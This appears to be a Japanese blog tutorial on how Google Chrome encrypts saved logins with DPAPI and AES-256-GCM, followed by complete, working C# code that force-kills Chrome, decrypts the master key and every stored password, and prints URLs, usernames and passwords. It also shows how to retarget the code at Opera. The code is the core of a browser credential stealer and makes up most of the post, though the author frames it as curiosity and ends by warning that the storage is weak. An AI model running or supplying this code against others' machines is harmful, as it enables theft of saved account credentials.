はじめに
Google Chromeでサイトにログインするとき、多くの人がアカウント情報をChromeに保存していると思います。
しかし、Chromeはこのログインデータをどのように保存しているのだろうか、と気になったので、調べてみました。
Chromeのログインデータの保存手順
調べてみたところ、ログインデータは
ユーザーフォルダ\AppData\Local\Google\Chrome\User Data\Default\Login Data
にSQLiteデータベース形式で保存されていることがわかりました。
また、パスワードは以下の方法で暗号化されていることがわかりました。
- 32バイトのランダムデータ(マスターキー)を生成する
- Windows DPAPIを使ってそれを暗号化する
- この暗号化されたキーの最初に文字列「DPAPI」を挿入する
- Base64でエンコードし、ユーザーフォルダ\AppData\Local\Google\Chrome\User Data\Local Stateに保存する
- 12バイトの初期化ベクトルを生成する
- 上記のマスターキーと初期化ベクトルを使って、パスワードをAES-256-GCMで暗号化する
- 暗号化されたパスワードの最初に文字列「v10」、初期化ベクトルを挿入する
Windows DPAPIというのは、Windows アカウント パスワードを使って暗号化するAPIです。
初期化ベクトルというのはランダムに生成されるビット列であり、これを利用して暗号化することでデータを解読しにくくすることができます。
ログインデータを読み込んでみる
よって、ログインデータを読み込む手順は以下のようになります。
- Local Stateファイルから暗号化されたマスターキーを読み込む
- マスターキーをBase64デコードし、「DPAPI」を削除する
- Windows DPAPIを使ってそれを復号化する
- Login DataファイルをSQLiteデータベースとして読み込み、URL、ユーザー名、暗号化されたパスワードを読み込む
- 暗号化されたパスワードから「v10」を削除し、初期化ベクトルとパスワードデータに分ける
- それらを使って、パスワードをAES-256-GCMで復号化する
それでは、C#で実装してみます。
マスターキーを取得する
パスワードを復号化するにはマスターキーが必要なので、Local Stateファイルから読み込んで復号化します。
このファイル自体はJsonで記録されており、os_cryptのencrypted_keyの値が暗号化されたマスターキーになります。
このコードではJsonファイルを読み込むためにNewtonsoft.Jsonを使っています。
publicstaticbyte[]GetKey(){// AppDataのパスを取得varappdata=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// Local Stateのパスを取得varpath=Path.GetFullPath(appdata+"\\..\\Local\\Google\\Chrome\\User Data\\Local State");// Local StateをJsonとして読み込むstringv=File.ReadAllText(path);dynamicjson=JsonConvert.DeserializeObject(v);stringkey=json.os_crypt.encrypted_key;// Base64エンコードbyte[]src=Convert.FromBase64String(key);// 文字列「DPAPI」をスキップbyte[]encryptedKey=src.Skip(5).ToArray();// DPAPIで復号化byte[]decryptedKey=ProtectedData.Unprotect(encryptedKey,null,DataProtectionScope.CurrentUser);returndecryptedKey;}
Login Dataの読み込み
次に、Login Dataファイルを読み込みます。
SQLiteデータベース形式で保存されているので、今回はこれを読み込むためにSystem.Data.SQLite.Coreを使いました。
// AppDataのパスを取得varappdata=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// Login Dataのパスを取得varp=Path.GetFullPath(appdata+"\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");if(File.Exists(p)){Process[]chromeInstances=Process.GetProcessesByName("chrome");foreach(ProcessprocinchromeInstances)// Chromeを強制終了// これをやらないと「database is locked」エラーになるproc.Kill();// Login Dataファイルを読み込むusing(varconn=newSQLiteConnection($"Data Source={p};")){conn.Open();using(varcmd=conn.CreateCommand()){cmd.CommandText="SELECT action_url, username_value, password_value FROM logins";using(varreader=cmd.ExecuteReader()){if(reader.HasRows){// マスターキーを取得byte[]key=GetKey();while(reader.Read()){// 空のデータは無視if(reader[0].ToString()=="")continue;// 暗号化されたパスワードをbyte配列で読み込むbyte[]encryptedData=GetBytes(reader,2);// 初期化ベクトルとパスワードデータに分離byte[]nonce,ciphertextTag;Prepare(encryptedData,outnonce,outciphertextTag);// パスワードの復号化stringpassword=Decrypt(ciphertextTag,key,nonce);varurl=reader.GetString(0);varusername=reader.GetString(1);Console.WriteLine("Url : "+url);Console.WriteLine("Username : "+username);Console.WriteLine("password : "+password+"\n");}}}}conn.Close();Console.ReadKey(true);}}else{thrownewFileNotFoundException("Login Dataファイルが見つかりません");}
SQLiteからbyte配列で読み込むメソッドがなぜか用意されてないので、自分で作ります。
privatestaticbyte[]GetBytes(SQLiteDataReaderreader,intcolumnIndex){constintCHUNK_SIZE=2*1024;byte[]buffer=newbyte[CHUNK_SIZE];longbytesRead;longfieldOffset=0;using(MemoryStreamstream=newMemoryStream()){while((bytesRead=reader.GetBytes(columnIndex,fieldOffset,buffer,0,buffer.Length))>0){stream.Write(buffer,0,(int)bytesRead);fieldOffset+=bytesRead;}returnstream.ToArray();}}
読み込んだ暗号化データを初期化ベクトルとパスワードデータに分離するPrepareメソッドを定義しておきます。
// 暗号化データを初期化ベクトルとパスワードデータに分離publicstaticvoidPrepare(byte[]encryptedData,outbyte[]nonce,outbyte[]ciphertextTag){nonce=newbyte[12];ciphertextTag=newbyte[encryptedData.Length-3-nonce.Length];System.Array.Copy(encryptedData,3,nonce,0,nonce.Length);System.Array.Copy(encryptedData,3+nonce.Length,ciphertextTag,0,ciphertextTag.Length);}
復号化
次に、復号化処理を見ていきます。
.Net FrameworkにはAES-256-GCMの復号化を行うクラスはないので、今回は暗号化・復号化用パッケージ「Bouncy Castle」を導入しました。
以下が復号化のコードです。
正直、このコードは海外のサイトからコピーしたものなので、自分でもよく理解していません。
// AES-256-GCM 復号化処理// 暗号化されたパスワード、マスターキー、初期化ベクトルを指定publicstaticstringDecrypt(byte[]encryptedBytes,byte[]key,byte[]iv){stringsR="";try{GcmBlockCiphercipher=newGcmBlockCipher(newAesFastEngine());AeadParametersparameters=newAeadParameters(newKeyParameter(key),128,iv,null);cipher.Init(false,parameters);byte[]plainBytes=newbyte[cipher.GetOutputSize(encryptedBytes.Length)];Int32retLen=cipher.ProcessBytes(encryptedBytes,0,encryptedBytes.Length,plainBytes,0);cipher.DoFinal(plainBytes,retLen);sR=Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());}catch(Exceptionex){Console.WriteLine(ex.Message);Console.WriteLine(ex.StackTrace);}returnsR;}
ログインデータを読み込むプログラム
ログインデータを読み込んで出力するプログラムは以下のようになります。
usingNewtonsoft.Json;usingOrg.BouncyCastle.Crypto.Engines;usingOrg.BouncyCastle.Crypto.Modes;usingOrg.BouncyCastle.Crypto.Parameters;usingSystem;usingSystem.Data.SQLite;usingSystem.Diagnostics;usingSystem.IO;usingSystem.Linq;usingSystem.Security.Cryptography;usingSystem.Text;publicclassGetLoginData{publicstaticvoidMain(){// AppDataのパスを取得varappdata=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// Login Dataのパスを取得varp=Path.GetFullPath(appdata+"\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");if(File.Exists(p)){Process[]chromeInstances=Process.GetProcessesByName("chrome");foreach(ProcessprocinchromeInstances)// Chromeを強制終了// これをやらないと「database is locked」エラーになるproc.Kill();// Login Dataファイルを読み込むusing(varconn=newSQLiteConnection($"Data Source={p};")){conn.Open();using(varcmd=conn.CreateCommand()){cmd.CommandText="SELECT action_url, username_value, password_value FROM logins";using(varreader=cmd.ExecuteReader()){if(reader.HasRows){// マスターキーを取得byte[]key=GetKey();while(reader.Read()){// 空のデータは無視if(reader[0].ToString()=="")continue;// 暗号化されたパスワードをbyte配列で読み込むbyte[]encryptedData=GetBytes(reader,2);// 初期化ベクトルとパスワードデータに分離byte[]nonce,ciphertextTag;Prepare(encryptedData,outnonce,outciphertextTag);// パスワードの復号化stringpassword=Decrypt(ciphertextTag,key,nonce);varurl=reader.GetString(0);varusername=reader.GetString(1);Console.WriteLine("Url : "+url);Console.WriteLine("Username : "+username);Console.WriteLine("password : "+password+"\n");}}}}conn.Close();Console.ReadKey(true);}}else{thrownewFileNotFoundException("Login Dataファイルが見つかりません");}}publicstaticbyte[]GetKey(){// AppDataのパスを取得varappdata=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// Local Stateのパスを取得varpath=Path.GetFullPath(appdata+"\\..\\Local\\Google\\Chrome\\User Data\\Local State");// Local StateをJsonとして読み込むstringv=File.ReadAllText(path);dynamicjson=JsonConvert.DeserializeObject(v);stringkey=json.os_crypt.encrypted_key;// Base64エンコードbyte[]src=Convert.FromBase64String(key);// 文字列「DPAPI」をスキップbyte[]encryptedKey=src.Skip(5).ToArray();// DPAPIで復号化byte[]decryptedKey=ProtectedData.Unprotect(encryptedKey,null,DataProtectionScope.CurrentUser);returndecryptedKey;}// AES-256-GCM 復号化処理publicstaticstringDecrypt(byte[]encryptedBytes,byte[]key,byte[]iv){stringsR="";try{GcmBlockCiphercipher=newGcmBlockCipher(newAesFastEngine());AeadParametersparameters=newAeadParameters(newKeyParameter(key),128,iv,null);cipher.Init(false,parameters);byte[]plainBytes=newbyte[cipher.GetOutputSize(encryptedBytes.Length)];Int32retLen=cipher.ProcessBytes(encryptedBytes,0,encryptedBytes.Length,plainBytes,0);cipher.DoFinal(plainBytes,retLen);sR=Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());}catch(Exceptionex){Console.WriteLine(ex.Message);Console.WriteLine(ex.StackTrace);}returnsR;}// 暗号化データを初期化ベクトルとパスワードデータに分離publicstaticvoidPrepare(byte[]encryptedData,outbyte[]nonce,outbyte[]ciphertextTag){nonce=newbyte[12];ciphertextTag=newbyte[encryptedData.Length-3-nonce.Length];System.Array.Copy(encryptedData,3,nonce,0,nonce.Length);System.Array.Copy(encryptedData,3+nonce.Length,ciphertextTag,0,ciphertextTag.Length);}// SQLiteデータをbyte配列で読み込むprivatestaticbyte[]GetBytes(SQLiteDataReaderreader,intcolumnIndex){constintCHUNK_SIZE=2*1024;byte[]buffer=newbyte[CHUNK_SIZE];longbytesRead;longfieldOffset=0;using(MemoryStreamstream=newMemoryStream()){while((bytesRead=reader.GetBytes(columnIndex,fieldOffset,buffer,0,buffer.Length))>0){stream.Write(buffer,0,(int)bytesRead);fieldOffset+=bytesRead;}returnstream.ToArray();}}}
このプログラムを実行すると、以下のようにログインデータが出力されます。
Url : https://accounts.google.com/signin/v2/challenge/password/empty
Username : qwerty123456@gmail.com
password : zettaibarenaipassword
Url : https://id.unity.com/ja/conversations/0a0a3de1-8dd7-4c4b-81fe-49e7460614f2301f
Username : admin314159@gmail.com
password : UnityPassword
Operaのログインデータについて
Opera BrowserはGoogle Chromeと同じChromiumをベースにしているので、同じ方法でログインデータを取得することができます。
上記のコードの20行目
var p = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
を
var p = Path.GetFullPath(appdata + "\\..\\Roaming\\Opera Software\\Opera Stable\\Login Data");
に書き換え、
83行目の
var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
を
var path = Path.GetFullPath(appdata + "\\..\\Roaming\\Opera Software\\Opera Stable\\Local State");
に書き換えて実行してみると、同じようにOperaのログインデータが出力されるはずです。
まとめ
ということで、割と簡単にChromeに保存されているログインデータを取得できてしまいました。
パスワードを忘れてしまった際に便利だと思いますが、これだと危険なので、パスワードなどの重要なデータの保存にはより工夫が必要だと思いました。